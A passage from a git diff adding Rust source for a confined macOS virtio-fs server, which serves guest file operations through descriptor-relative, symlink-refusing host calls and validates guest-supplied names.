++ Node { dev: key.0, ino: key.1, kind: kind_of(s.st_mode), parent, name: name.to_owned(), nlookup: 1, children: 0 }, ++ ); ++ st.ids.insert(key, id); ++ if let Some(p) = st.nodes.get_mut(&parent) { ++ p.children += 1; ++ } ++ Ok(id) ++ } ++ ++ fn reserve_node(&self, st: &State) -> io::Result<()> { ++ if st.nodes.len() >= st.node_cap { ++ return Err(err(lx::ENFILE)); ++ } ++ Ok(()) ++ } ++ ++ /// Moves a node's (parent, name) after a rename. ++ fn moved(&self, st: &mut State, key: (u64, u64), parent: u64, name: &CStr) { ++ if let Some(&id) = st.ids.get(&key) { ++ if id == ROOT_ID { ++ return; ++ } ++ let old_parent = st.nodes[&id].parent; ++ if old_parent != parent { ++ if let Some(p) = st.nodes.get_mut(&old_parent) { ++ p.children -= 1; ++ } ++ if let Some(p) = st.nodes.get_mut(&parent) { ++ p.children += 1; ++ } ++ } ++ let node = st.nodes.get_mut(&id).unwrap(); ++ node.parent = parent; ++ node.name = name.to_owned(); ++ } ++ } ++ ++ fn forget_one(&self, st: &mut State, id: u64, count: u64) { ++ if id == ROOT_ID { ++ return; ++ } ++ let Some(node) = st.nodes.get_mut(&id) else { return }; ++ node.nlookup = node.nlookup.saturating_sub(count); ++ let mut id = id; ++ while id != ROOT_ID { ++ let Some(node) = st.nodes.get(&id) else { return }; ++ if node.nlookup != 0 || node.children != 0 { ++ return; ++ } ++ let (parent, key) = (node.parent, (node.dev, node.ino)); ++ st.nodes.remove(&id); ++ if st.ids.get(&key) == Some(&id) { ++ st.ids.remove(&key); ++ } ++ st.dirs.pop(&id); ++ match st.nodes.get_mut(&parent) { ++ Some(p) => p.children -= 1, ++ None => return, ++ } ++ id = parent; ++ } ++ } ++ ++ fn reserve_handle(&self, st: &State) -> io::Result<()> { ++ // R10: a full handle table refuses; it never evicts a live handle. ++ if st.handles.len() >= MAX_HANDLES { ++ return Err(err(lx::ENFILE)); ++ } ++ Ok(()) ++ } ++ ++ fn add_handle(&self, st: &mut State, node: u64, fd: OwnedFd, writable: bool, dir: bool) -> io::Result { ++ let body = if dir { Body::Dir(DirStream::new(fd)?) } else { Body::File(File::from(fd)) }; ++ let h = st.next_handle; ++ st.next_handle += 1; ++ st.handles.insert(h, Handle { node, body, writable }); ++ Ok(h) ++ } ++ ++ fn handle<'s>(st: &'s mut State, node: u64, handle: u64) -> io::Result<&'s mut Handle> { ++ match st.handles.get_mut(&handle) { ++ Some(h) if h.node == node => Ok(h), ++ _ => Err(err(lx::EBADF)), ++ } ++ } ++ ++ fn dir_stream<'s>(st: &'s mut State, node: u64, handle: u64) -> io::Result<&'s mut DirStream> { ++ match &mut Self::handle(st, node, handle)?.body { ++ Body::Dir(stream) => Ok(stream), ++ Body::File(_) => Err(err(lx::ENOTDIR)), ++ } ++ } ++ ++ fn sync(&self, fd: RawFd) -> io::Result<()> { ++ // R13: F_FULLFSYNC on the Winter shares, fsync on folder sources. ++ if self.flags.winter_share { ++ self.full_syncs.fetch_add(1, Ordering::Relaxed); ++ sys::full_fsync(fd) ++ } else { ++ self.plain_syncs.fetch_add(1, Ordering::Relaxed); ++ sys::fsync(fd) ++ } ++ } ++ ++ /// Runs the created hook; on failure removes the new node through its parent and answers `EIO`. ++ fn finish_create(&self, pfd: RawFd, name: &CStr, fd: BorrowedFd<'_>, kind: CreatedKind) -> io::Result<()> { ++ if self.hooks.created(fd, kind).is_err() { ++ let _ = self.host.unlinkat(pfd, name, kind == CreatedKind::Directory); ++ return Err(err(lx::EIO)); ++ } ++ Ok(()) ++ } ++ ++ fn lookup_locked(&self, st: &mut State, ctx: &Context, parent: u64, name: &CStr) -> io::Result { ++ check_name(name.to_bytes())?; ++ let pfd = self.dir_fd(st, parent)?; ++ let s = self.host.fstatat(pfd.as_raw_fd(), name)?; ++ self.same_device(&s)?; ++ let id = if kind_of(s.st_mode) == Kind::Dir { ++ let fd = self.open_dir_at(pfd.as_raw_fd(), name, s.st_dev as u64, s.st_ino)?; ++ let id = self.insert(st, parent, name, &s)?; ++ st.dirs.put(id, Arc::new(fd)); ++ id ++ } else { ++ self.insert(st, parent, name, &s)? ++ }; ++ Ok(self.entry(ctx, id, s)) ++ } ++} ++ ++impl ConfinedDispatch for ConfinedFs { ++ fn revoked(&self) -> bool { ++ self.revoke.is_revoked() ++ } ++ ++ fn close_all(&mut self) -> usize { ++ ConfinedFs::close_all(self) ++ } ++} ++ ++impl FileSystem for ConfinedFs { ++ type Inode = u64; ++ type Handle = u64; ++ ++ fn init(&self, _capable: FsOptions) -> io::Result { ++ // The confined dispatch negotiates its own closed set (R0); the process umask is never changed (R7). ++ Ok(FsOptions::empty()) ++ } ++ ++ fn destroy(&self) { ++ let mut st = self.lock(); ++ st.handles.clear(); ++ st.dirs.clear(); ++ st.nodes.retain(|id, _| *id == ROOT_ID); ++ let (dev, ino) = (self.root_dev, self.root_ino); ++ st.ids.retain(|key, _| *key == (dev, ino)); ++ if let Some(root) = st.nodes.get_mut(&ROOT_ID) { ++ root.children = 0; ++ } ++ } ++ ++ fn lookup(&self, ctx: Context, parent: u64, name: &CStr) -> io::Result { ++ let mut st = self.lock(); ++ self.lookup_locked(&mut st, &ctx, parent, name) ++ } ++ ++ fn forget(&self, _ctx: Context, inode: u64, count: u64) { ++ let mut st = self.lock(); ++ self.forget_one(&mut st, inode, count); ++ } ++ ++ fn batch_forget(&self, _ctx: Context, requests: Vec<(u64, u64)>) { ++ let mut st = self.lock(); ++ for (inode, count) in requests { ++ self.forget_one(&mut st, inode, count); ++ } ++ } ++ ++ fn getattr(&self, ctx: Context, inode: u64, handle: Option) -> io::Result<(bindings::stat64, Duration)> { ++ let mut st = self.lock(); ++ let s = match handle { ++ Some(h) => sys::fstat_raw(Self::handle(&mut st, inode, h)?.fd())?, ++ None => self.stat_node(&mut st, inode)?, ++ }; ++ Ok((self.simplified(&ctx, s), TIMEOUT)) ++ } ++ ++ fn setattr( ++ &self, ++ ctx: Context, ++ inode: u64, ++ attr: bindings::stat64, ++ handle: Option, ++ valid: SetattrValid, ++ ) -> io::Result<(bindings::stat64, Duration)> { ++ // R0: SETATTR changes mode, size and times only. ++ if valid.intersects(SetattrValid::UID | SetattrValid::GID) { ++ return Err(err(lx::EPERM)); ++ } ++ self.admit(&Mutation::Setattr { node: inode, valid, mode: attr.st_mode as u32 })?; ++ let mut st = self.lock(); ++ let kind = st.nodes.get(&inode).ok_or_else(|| err(lx::ESTALE))?.kind; ++ let size = valid.contains(SetattrValid::SIZE); ++ match kind { ++ Kind::Dir => { ++ if size { ++ return Err(err(lx::EISDIR)); ++ } ++ let dir = self.dir_fd(&mut st, inode)?; ++ self.apply_setattr(&ctx, dir.as_raw_fd(), &attr, valid) ++ } ++ Kind::File => { ++ if let Some(h) = handle { ++ let held = Self::handle(&mut st, inode, h)?; ++ if !size || held.writable { ++ let fd = held.fd(); ++ return self.apply_setattr(&ctx, fd, &attr, valid); ++ } ++ } ++ let access = if size { libc::O_WRONLY } else { libc::O_RDONLY }; ++ let fd = self.open_file(&mut st, inode, access)?; ++ self.apply_setattr(&ctx, fd.as_raw_fd(), &attr, valid) ++ } ++ _ => Err(err(lx::EPERM)), ++ } ++ } ++ ++ fn readlink(&self, _ctx: Context, inode: u64) -> io::Result> { ++ let mut st = self.lock(); ++ let node = st.nodes.get(&inode).ok_or_else(|| err(lx::ESTALE))?; ++ if node.kind != Kind::Symlink { ++ return Err(err(lx::EINVAL)); ++ } ++ let (parent, name) = (node.parent, node.name.clone()); ++ let pfd = self.dir_fd(&mut st, parent)?; ++ let s = self.host.fstatat(pfd.as_raw_fd(), &name)?; ++ Self::confirm(&s, &st.nodes[&inode])?; ++ // R3: the text is data; it is never followed. ++ self.host.readlinkat(pfd.as_raw_fd(), &name) ++ } ++ ++ fn symlink(&self, ctx: Context, linkname: &CStr, parent: u64, name: &CStr, _ext: Extensions) -> io::Result { ++ check_name(name.to_bytes())?; ++ if linkname.to_bytes().is_empty() || linkname.to_bytes().len() > SYMLINK_MAX { ++ return Err(err(lx::EINVAL)); ++ } ++ self.admit(&Mutation::Symlink { parent, name, target: linkname })?; ++ let mut st = self.lock(); ++ self.reserve_node(&st)?; ++ let pfd = self.dir_fd(&mut st, parent)?; ++ self.host.symlinkat(linkname, pfd.as_raw_fd(), name)?; ++ let s = self.host.fstatat(pfd.as_raw_fd(), name)?; ++ let id = self.insert(&mut st, parent, name, &s)?; ++ Ok(self.entry(&ctx, id, s)) ++ } ++ ++ fn mknod(&self, _ctx: Context, parent: u64, name: &CStr, _mode: u32, _rdev: u32, _umask: u32, _ext: Extensions) -> io::Result { ++ check_name(name.to_bytes())?; ++ self.admit(&Mutation::Mknod { parent, name })?; ++ // R9: no FIFO, socket or device is ever created; regular files come only through CREATE. ++ Err(err(lx::EPERM)) ++ } ++ ++ fn mkdir(&self, ctx: Context, parent: u64, name: &CStr, mode: u32, _umask: u32, _ext: Extensions) -> io::Result { ++ check_name(name.to_bytes())?; ++ self.admit(&Mutation::Mkdir { parent, name })?; ++ let mut st = self.lock(); ++ self.reserve_node(&st)?; ++ let pfd = self.dir_fd(&mut st, parent)?; ++ let mode = mode & MODE_MASK; ++ self.host.mkdirat(pfd.as_raw_fd(), name, mode as libc::mode_t)?; ++ let fd = self.host.openat(pfd.as_raw_fd(), name, libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NONBLOCK, 0)?; ++ // R7: the exact masked mode, whatever the process umask removed. ++ sys::fchmod(fd.as_raw_fd(), mode as libc::mode_t)?; ++ self.finish_create(pfd.as_raw_fd(), name, fd.as_fd(), CreatedKind::Directory)?; ++ let s = sys::fstat(&fd)?; ++ self.same_device(&s)?; ++ let id = self.insert(&mut st, parent, name, &s)?; ++ st.dirs.put(id, Arc::new(fd)); ++ Ok(self.entry(&ctx, id, s)) ++ } ++ ++ fn unlink(&self, _ctx: Context, parent: u64, name: &CStr) -> io::Result<()> { ++ check_name(name.to_bytes())?; ++ self.admit(&Mutation::Unlink { parent, name })?; ++ let mut st = self.lock(); ++ let pfd = self.dir_fd(&mut st, parent)?; ++ self.host.unlinkat(pfd.as_raw_fd(), name, false) ++ } ++ ++ fn rmdir(&self, _ctx: Context, parent: u64, name: &CStr) -> io::Result<()> { ++ check_name(name.to_bytes())?; ++ self.admit(&Mutation::Rmdir { parent, name })?; ++ let mut st = self.lock(); ++ let pfd = self.dir_fd(&mut st, parent)?; ++ self.host.unlinkat(pfd.as_raw_fd(), name, true) ++ } ++ ++ fn rename(&self, _ctx: Context, olddir: u64, oldname: &CStr, newdir: u64, newname: &CStr, flags: u32) -> io::Result<()> { ++ check_name(oldname.to_bytes())?; ++ check_name(newname.to_bytes())?; ++ // R0: RENAME_NOREPLACE and RENAME_EXCHANGE only. ++ let extra = match flags { ++ 0 => 0, ++ LINUX_RENAME_NOREPLACE => libc::RENAME_EXCL, ++ LINUX_RENAME_EXCHANGE => libc::RENAME_SWAP, ++ _ => return Err(err(lx::EINVAL)), ++ }; ++ self.admit(&Mutation::Rename { old_parent: olddir, old_name: oldname, new_parent: newdir, new_name: newname, flags })?; ++ let mut st = self.lock(); ++ // R5: both directories belong to this device's table. ++ if !st.nodes.contains_key(&olddir) || !st.nodes.contains_key(&newdir) { ++ return Err(err(lx::EXDEV)); ++ } ++ let ofd = self.dir_fd(&mut st, olddir)?; ++ let nfd = self.dir_fd(&mut st, newdir)?; ++ let src = self.host.fstatat(ofd.as_raw_fd(), oldname)?; ++ self.same_device(&src)?; ++ let dst = if extra == libc::RENAME_SWAP { ++ let d = self.host.fstatat(nfd.as_raw_fd(), newname)?; ++ self.same_device(&d)?; ++ Some(d) ++ } else { ++ None ++ }; ++ self.host.renameat(ofd.as_raw_fd(), oldname, nfd.as_raw_fd(), newname, extra)?; ++ self.moved(&mut st, dev_ino(&src), newdir, newname); ++ if let Some(d) = dst { ++ self.moved(&mut st, dev_ino(&d), olddir, oldname); ++ } ++ Ok(()) ++ } ++ ++ fn link(&self, ctx: Context, inode: u64, newparent: u64, newname: &CStr) -> io::Result { ++ check_name(newname.to_bytes())?; ++ self.admit(&Mutation::Link { node: inode, parent: newparent, name: newname })?; ++ // R5: the Winter shares never make a hard link. ++ if self.flags.winter_share { ++ return Err(err(lx::EPERM)); ++ } ++ let mut st = self.lock(); ++ // R5: both nodes belong to this device's table, and a directory is never linked. ++ let node = st.nodes.get(&inode).ok_or_else(|| err(lx::EXDEV))?; ++ if node.kind == Kind::Dir { ++ return Err(err(lx::EPERM)); ++ } ++ if !st.nodes.contains_key(&newparent) { ++ return Err(err(lx::EXDEV)); ++ } ++ let (parent, name) = (node.parent, node.name.clone()); ++ let spfd = self.dir_fd(&mut st, parent)?; ++ let npfd = self.dir_fd(&mut st, newparent)?; ++ let s = self.host.fstatat(spfd.as_raw_fd(), &name)?; ++ Self::confirm(&s, &st.nodes[&inode])?; ++ self.host.linkat(spfd.as_raw_fd(), &name, npfd.as_raw_fd(), newname)?; ++ let s = self.host.fstatat(npfd.as_raw_fd(), newname)?; ++ let id = self.insert(&mut st, newparent, newname, &s)?; ++ Ok(self.entry(&ctx, id, s)) ++ } ++ ++ fn open(&self, _ctx: Context, inode: u64, _kill_priv: bool, flags: u32) -> io::Result<(Option, OpenOptions)> { ++ let access = flags & LINUX_ACCMODE; ++ if access == LINUX_ACCMODE { ++ return Err(err(lx::EINVAL)); ++ } ++ let write = access != 0; ++ let truncate = flags & LINUX_O_TRUNC != 0; ++ if truncate && !write { ++ return Err(err(lx::EINVAL)); ++ } ++ if write { ++ self.admit(&Mutation::OpenWrite { node: inode, truncate })?; ++ } ++ let mut st = self.lock(); ++ self.reserve_handle(&st)?; ++ let kind = st.nodes.get(&inode).ok_or_else(|| err(lx::ESTALE))?.kind; ++ let (fd, dir) = match kind { ++ Kind::Dir if write => return Err(err(lx::EISDIR)), ++ Kind::Dir => (self.open_dir_fresh(&mut st, inode)?, true), ++ Kind::File => { ++ let mut host = access as i32; ++ if flags & LINUX_O_APPEND != 0 { ++ host |= libc::O_APPEND; ++ } ++ (self.open_file(&mut st, inode, host)?, false) ++ } ++ // R9: OPEN of anything but a regular file or a directory. ++ _ => return Err(err(lx::EACCES)), ++ }; ++ if truncate { ++ // R2: a truncating open is an open, the (dev, ino) check, then ftruncate on that descriptor. ++ sys::ftruncate(fd.as_raw_fd(), 0)?; ++ } ++ let h = self.add_handle(&mut st, inode, fd, write, dir)?; ++ // R12: CachePolicy::Auto (no direct I/O, no keep-cache). ++ Ok((Some(h), OpenOptions::empty())) ++ } ++ ++ fn create( ++ &self, ++ ctx: Context, ++ parent: u64, ++ name: &CStr, ++ mode: u32, ++ _kill_priv: bool, ++ flags: u32, ++ _umask: u32, ++ _ext: Extensions, ++ ) -> io::Result<(Entry, Option, OpenOptions)> { ++ check_name(name.to_bytes())?; ++ let access = flags & LINUX_ACCMODE; ++ if access == LINUX_ACCMODE { ++ return Err(err(lx::EINVAL)); ++ } ++ self.admit(&Mutation::Create { parent, name })?; ++ let mut st = self.lock(); ++ self.reserve_handle(&st)?; ++ self.reserve_node(&st)?; ++ let pfd = self.dir_fd(&mut st, parent)?; ++ let mut host = access as i32 | libc::O_CREAT | libc::O_EXCL; ++ if flags & LINUX_O_APPEND != 0 { ++ host |= libc::O_APPEND; ++ } ++ // R2: O_CREAT | O_EXCL on the parent descriptor, so a create never lands on an existing node. ++ let fd = self.host.openat(pfd.as_raw_fd(), name, host, 0o600)?; ++ let mode = mode & MODE_MASK; ++ // R7: the exact masked mode, whatever the process umask removed. ++ if let Err(e) = sys::fchmod(fd.as_raw_fd(), mode as libc::mode_t) { ++ let _ = self.host.unlinkat(pfd.as_raw_fd(), name, false); ++ return Err(e); ++ } ++ self.finish_create(pfd.as_raw_fd(), name, fd.as_fd(), CreatedKind::File)?; ++ let s = sys::fstat(&fd)?; ++ let id = self.insert(&mut st, parent, name, &s)?; ++ let h = self.add_handle(&mut st, id, fd, access != 0, false)?; ++ Ok((self.entry(&ctx, id, s), Some(h), OpenOptions::empty())) ++ } ++ ++ fn read( ++ &self, ++ _ctx: Context, ++ inode: u64, ++ handle: u64, ++ mut w: W, ++ size: u32, ++ offset: u64, ++ _lock_owner: Option, ++ _flags: u32, ++ ) -> io::Result { ++ let mut st = self.lock(); ++ let h = Self::handle(&mut st, inode, handle)?; ++ let Body::File(file) = &h.body else { return Err(err(lx::EISDIR)) }; ++ w.write_from(file, size as usize, offset).map_err(crate::virtio::linux_errno::linux_error) ++ } ++ ++ fn write( ++ &self, ++ _ctx: Context, ++ inode: u64, ++ handle: u64, ++ mut r: R, ++ size: u32, ++ offset: u64, ++ _lock_owner: Option, ++ _delayed_write: bool, ++ _kill_priv: bool, ++ _flags: u32, ++ ) -> io::Result { ++ self.admit(&Mutation::Write { node: inode, handle })?; ++ let mut st = self.lock(); ++ let h = Self::handle(&mut st, inode, handle)?; ++ if !h.writable { ++ return Err(err(lx::EBADF)); ++ } ++ let Body::File(file) = &h.body else { return Err(err(lx::EBADF)) }; ++ r.read_to(file, size as usize, offset).map_err(crate::virtio::linux_errno::linux_error) ++ } ++ ++ fn flush(&self, _ctx: Context, inode: u64, handle: u64, _lock_owner: u64) -> io::Result<()> { ++ let mut st = self.lock(); ++ Self::handle(&mut st, inode, handle).map(drop) ++ } ++ ++ fn fsync(&self, _ctx: Context, inode: u64, _datasync: bool, handle: u64) -> io::Result<()> { ++ let mut st = self.lock(); ++ let fd = Self::handle(&mut st, inode, handle)?.fd(); ++ self.sync(fd) ++ } ++ ++ fn fallocate(&self, _ctx: Context, inode: u64, handle: u64, mode: u32, offset: u64, length: u64) -> io::Result<()> { ++ // R0: mode 0 only. ++ if mode != 0 { ++ return Err(err(lx::EOPNOTSUPP)); ++ } ++ self.admit(&Mutation::Fallocate { node: inode, handle })?; ++ let mut st = self.lock(); ++ let h = Self::handle(&mut st, inode, handle)?; ++ if !h.writable { ++ return Err(err(lx::EBADF)); ++ } ++ let end = offset.checked_add(length).filter(|e| *e <= i64::MAX as u64).ok_or_else(|| err(lx::EINVAL))?; ++ let fd = h.fd(); ++ if end > sys::fstat_raw(fd)?.st_size as u64 { ++ sys::ftruncate(fd, end as i64)?; ++ } ++ Ok(()) ++ } ++ ++ fn release(&self, _ctx: Context, inode: u64, _flags: u32, handle: u64, _flush: bool, _flock: bool, _owner: Option) -> io::Result<()> { ++ let mut st = self.lock(); ++ Self::handle(&mut st, inode, handle)?; ++ st.handles.remove(&handle); ++ Ok(()) ++ } ++ ++ fn statfs(&self, _ctx: Context, _inode: u64) -> io::Result { ++ let st = self.lock(); ++ let root = st.root.as_ref().ok_or_else(|| err(lx::EACCES))?; ++ sys::fstatvfs(root.as_raw_fd()) ++ } ++ ++ fn opendir(&self, _ctx: Context, inode: u64, _flags: u32) -> io::Result<(Option, OpenOptions)> { ++ let mut st = self.lock(); ++ self.reserve_handle(&st)?; ++ let kind = st.nodes.get(&inode).ok_or_else(|| err(lx::ESTALE))?.kind; ++ if kind != Kind::Dir { ++ return Err(err(lx::ENOTDIR)); ++ } ++ let fd = self.open_dir_fresh(&mut st, inode)?; ++ let h = self.add_handle(&mut st, inode, fd, false, true)?; ++ Ok((Some(h), OpenOptions::empty())) ++ } ++ ++ fn readdir(&self, _ctx: Context, inode: u64, handle: u64, size: u32, offset: u64, mut add_entry: F) -> io::Result<()> ++ where ++ F: FnMut(DirEntry) -> io::Result, ++ { ++ if size == 0 { ++ return Ok(()); ++ } ++ let mut st = self.lock(); ++ let stream = Self::dir_stream(&mut st, inode, handle)?; ++ stream.seek(offset)?; ++ while let Some(item) = stream.peek()? { ++ let entry = DirEntry { ino: item.ino, offset: stream.next + 1, type_: u32::from(item.type_), name: &item.name }; ++ if add_entry(entry)? == 0 { ++ break; ++ } ++ stream.advance(); ++ } ++ Ok(()) ++ } ++ ++ fn readdirplus(&self, ctx: Context, inode: u64, handle: u64, size: u32, offset: u64, mut add_entry: F) -> io::Result<()> ++ where ++ F: FnMut(DirEntry, Entry) -> io::Result, ++ { ++ if size == 0 { ++ return Ok(()); ++ } ++ let mut st = self.lock(); ++ Self::dir_stream(&mut st, inode, handle)?.seek(offset)?; ++ loop { ++ let stream = Self::dir_stream(&mut st, inode, handle)?; ++ let Some(item) = stream.peek()? else { break }; ++ let next = stream.next + 1; ++ let cname = CString::new(item.name.clone()).map_err(|_| err(lx::EIO))?; ++ // An entry the server will not serve (another device, a refused name, a full table) goes out ++ // without attributes; the guest's own lookup of it is then refused. ++ let entry = self.lookup_locked(&mut st, &ctx, inode, &cname).ok(); ++ let looked_up = entry.as_ref().map(|e| e.inode); ++ let entry = entry.unwrap_or(Entry { ++ inode: 0, ++ generation: 0, ++ attr: unsafe { std::mem::zeroed() }, ++ attr_flags: 0, ++ attr_timeout: Duration::ZERO, ++ entry_timeout: Duration::ZERO, ++ }); ++ let dir_entry = DirEntry { ino: item.ino, offset: next, type_: u32::from(item.type_), name: &item.name }; ++ let written = add_entry(dir_entry, entry); ++ if !matches!(written, Ok(n) if n > 0) { ++ if let Some(id) = looked_up { ++ self.forget_one(&mut st, id, 1); ++ } ++ written?; ++ break; ++ } ++ Self::dir_stream(&mut st, inode, handle)?.advance(); ++ } ++ Ok(()) ++ } ++ ++ fn fsyncdir(&self, _ctx: Context, inode: u64, _datasync: bool, handle: u64) -> io::Result<()> { ++ let mut st = self.lock(); ++ let fd = Self::handle(&mut st, inode, handle)?.fd(); ++ self.sync(fd) ++ } ++ ++ fn releasedir(&self, ctx: Context, inode: u64, flags: u32, handle: u64) -> io::Result<()> { ++ self.release(ctx, inode, flags, handle, false, false, None) ++ } ++ ++ fn access(&self, _ctx: Context, inode: u64, mask: u32) -> io::Result<()> { ++ let mut st = self.lock(); ++ self.stat_node(&mut st, inode)?; ++ if mask & LINUX_W_OK != 0 { ++ self.writable()?; ++ } ++ Ok(()) ++ } ++ ++ fn lseek(&self, _ctx: Context, inode: u64, handle: u64, offset: u64, whence: u32) -> io::Result { ++ let whence = match whence { ++ 0 => libc::SEEK_SET, ++ 1 => libc::SEEK_CUR, ++ 2 => libc::SEEK_END, ++ LINUX_SEEK_DATA => libc::SEEK_DATA, ++ LINUX_SEEK_HOLE => libc::SEEK_HOLE, ++ _ => return Err(err(lx::EINVAL)), ++ }; ++ let mut st = self.lock(); ++ let fd = Self::handle(&mut st, inode, handle)?.fd(); ++ sys::lseek(fd, offset as i64, whence) ++ } ++} ++ ++impl ConfinedFs { ++ fn apply_setattr(&self, ctx: &Context, fd: RawFd, attr: &bindings::stat64, valid: SetattrValid) -> io::Result<(bindings::stat64, Duration)> { ++ if valid.contains(SetattrValid::MODE) { ++ // R7: masked, never setuid, setgid or sticky. ++ sys::fchmod(fd, (attr.st_mode as u32 & MODE_MASK) as libc::mode_t)?; ++ } ++ if valid.contains(SetattrValid::SIZE) { ++ if attr.st_size < 0 { ++ return Err(err(lx::EINVAL)); ++ } ++ sys::ftruncate(fd, attr.st_size)?; ++ } ++ if valid.intersects(SetattrValid::ATIME | SetattrValid::MTIME | SetattrValid::ATIME_NOW | SetattrValid::MTIME_NOW) { ++ let omit = libc::timespec { tv_sec: 0, tv_nsec: libc::UTIME_OMIT }; ++ let mut times = [omit, omit]; ++ if valid.contains(SetattrValid::ATIME_NOW) { ++ times[0].tv_nsec = libc::UTIME_NOW; ++ } else if valid.contains(SetattrValid::ATIME) { ++ times[0] = libc::timespec { tv_sec: attr.st_atime, tv_nsec: attr.st_atime_nsec }; ++ } ++ if valid.contains(SetattrValid::MTIME_NOW) { ++ times[1].tv_nsec = libc::UTIME_NOW; ++ } else if valid.contains(SetattrValid::MTIME) { ++ times[1] = libc::timespec { tv_sec: attr.st_mtime, tv_nsec: attr.st_mtime_nsec }; ++ } ++ sys::futimens(fd, ×)?; ++ } ++ Ok((self.simplified(ctx, sys::fstat_raw(fd)?), TIMEOUT)) ++ } ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/names.rs b/src/devices/src/virtio/fs/macos/confined/names.rs +new file mode 100644 +index 0000000..b4d8225 +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/names.rs +@@ -0,0 +1,40 @@ ++// R1: the names a guest may hand the confined server. ++ ++use std::io; ++ ++use super::sys::{err, lx}; ++ ++/// The longest name, in bytes. ++pub const NAME_MAX: usize = 255; ++ ++/// HFS+-ignorable code points (git's `core.protectHFS` list, CVE-2014-9390): the Mac's filesystem layer ++/// may ignore them when it compares names, so `.g\u{200c}it` could alias `.git`. ++pub fn is_hfs_ignorable(c: char) -> bool { ++ matches!(c as u32, 0x200C..=0x200F | 0x202A..=0x202E | 0x206A..=0x206F | 0xFEFF) ++} ++ ++/// Refuses (`EINVAL`) an empty name, `.`, `..`, any `/`, NUL, more than 255 bytes, invalid UTF-8 or any ++/// HFS+-ignorable code point. `name` excludes the terminating NUL. Used by every name-taking operation: ++/// lookup, create, mkdir, mknod, symlink and link (the new name), rename (both names), unlink and rmdir. ++pub fn check_name(name: &[u8]) -> io::Result<()> { ++ if name.is_empty() { ++ return Err(err(lx::EINVAL)); ++ } ++ if name == b"." || name == b".." { ++ return Err(err(lx::EINVAL)); ++ } ++ if name.contains(&b'/') { ++ return Err(err(lx::EINVAL)); ++ } ++ if name.contains(&0) { ++ return Err(err(lx::EINVAL)); ++ } ++ if name.len() > NAME_MAX { ++ return Err(err(lx::EINVAL)); ++ } ++ let text = std::str::from_utf8(name).map_err(|_| err(lx::EINVAL))?; ++ if text.chars().any(is_hfs_ignorable) { ++ return Err(err(lx::EINVAL)); ++ } ++ Ok(()) ++} +diff --git a/src/devices/src/virtio/fs/macos/confined/sys.rs b/src/devices/src/virtio/fs/macos/confined/sys.rs +new file mode 100644 +index 0000000..266b812 +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/sys.rs +@@ -0,0 +1,213 @@ ++// Host calls of the confined server (R2): every call is relative to a directory descriptor the server ++// holds, with a single-component name, and never follows a symbolic link. There is no path open, no ++// volfs path and no realpath anywhere in this module. ++ ++use std::ffi::CStr; ++use std::io; ++use std::mem::MaybeUninit; ++use std::os::fd::{AsRawFd, FromRawFd, OwnedFd, RawFd}; ++ ++use libc::{c_int, c_uint}; ++ ++use crate::virtio::linux_errno::linux_error; ++ ++// Constants the pinned `libc` crate (0.2.183) does not define, with the values of the macOS SDK headers. ++/// `sys/fcntl.h:128`: `#define O_RESOLVE_BENEATH 0x00001000` (only for open(2)). ++pub const O_RESOLVE_BENEATH: c_int = 0x0000_1000; ++/// `sys/fcntl.h:129`: `#define O_UNIQUE 0x00002000` (only for open(2)). ++pub const O_UNIQUE: c_int = 0x0000_2000; ++/// `sys/fcntl.h:184`: `#define AT_SYMLINK_NOFOLLOW_ANY 0x0800`. ++pub const AT_SYMLINK_NOFOLLOW_ANY: c_int = 0x0800; ++/// `sys/fcntl.h:185`: `#define AT_RESOLVE_BENEATH 0x2000`. ++pub const AT_RESOLVE_BENEATH: c_int = 0x2000; ++/// `sys/fcntl.h:187`: `#define AT_UNIQUE 0x8000`. ++pub const AT_UNIQUE: c_int = 0x8000; ++/// `sys/stdio.h:39`: `#define RENAME_NOFOLLOW_ANY 0x00000010`. ++pub const RENAME_NOFOLLOW_ANY: c_uint = 0x0000_0010; ++/// `sys/stdio.h:40`: `#define RENAME_RESOLVE_BENEATH 0x00000020`. ++pub const RENAME_RESOLVE_BENEATH: c_uint = 0x0000_0020; ++/// `sys/errno.h:265`: `#define ENOTCAPABLE 107` (a beneath or unique refusal). ++pub const ENOTCAPABLE: c_int = 107; ++ ++/// Linux errno values the server answers with (the guest is Linux). ++pub mod lx { ++ pub const EPERM: i32 = 1; ++ pub const ENOENT: i32 = 2; ++ pub const EIO: i32 = 5; ++ pub const EBADF: i32 = 9; ++ pub const EACCES: i32 = 13; ++ pub const EEXIST: i32 = 17; ++ pub const EXDEV: i32 = 18; ++ pub const ENOTDIR: i32 = 20; ++ pub const EISDIR: i32 = 21; ++ pub const EINVAL: i32 = 22; ++ pub const ENFILE: i32 = 23; ++ pub const EROFS: i32 = 30; ++ pub const ENOSYS: i32 = 38; ++ pub const ELOOP: i32 = 40; ++ pub const EOPNOTSUPP: i32 = 95; ++ pub const ESTALE: i32 = 116; ++} ++ ++pub fn err(linux: i32) -> io::Error { ++ io::Error::from_raw_os_error(linux) ++} ++ ++/// The last host error as a Linux errno. A beneath or unique refusal is `EACCES`. ++pub fn host_err() -> io::Error { ++ let e = io::Error::last_os_error(); ++ match e.raw_os_error() { ++ Some(ENOTCAPABLE) => err(lx::EACCES), ++ Some(libc::ELOOP) => err(lx::ELOOP), ++ Some(libc::ENOTDIR) => err(lx::ENOTDIR), ++ Some(libc::EISDIR) => err(lx::EISDIR), ++ Some(libc::EEXIST) => err(lx::EEXIST), ++ Some(libc::EACCES) => err(lx::EACCES), ++ Some(libc::EXDEV) => err(lx::EXDEV), ++ Some(libc::EINVAL) => err(lx::EINVAL), ++ Some(libc::EBADF) => err(lx::EBADF), ++ Some(libc::ENFILE) | Some(libc::EMFILE) => err(lx::ENFILE), ++ Some(libc::ENOTEMPTY) => err(39), ++ Some(libc::ENOSPC) => err(28), ++ Some(libc::ENAMETOOLONG) => err(36), ++ Some(libc::EFBIG) => err(27), ++ Some(libc::EROFS) => err(lx::EROFS), ++ Some(libc::EBUSY) => err(16), ++ Some(libc::ENXIO) => err(6), ++ Some(libc::EAGAIN) => err(11), ++ _ => linux_error(e), ++ } ++} ++ ++fn check(res: c_int) -> io::Result { ++ if res < 0 { ++ Err(host_err()) ++ } else { ++ Ok(res) ++ } ++} ++ ++/// The host call set of one device. `unique` is set on the Winter shares (R5): every open adds ++/// `O_UNIQUE` and every flag-taking `*at` adds `AT_UNIQUE`, so a node with more than one link is never served. 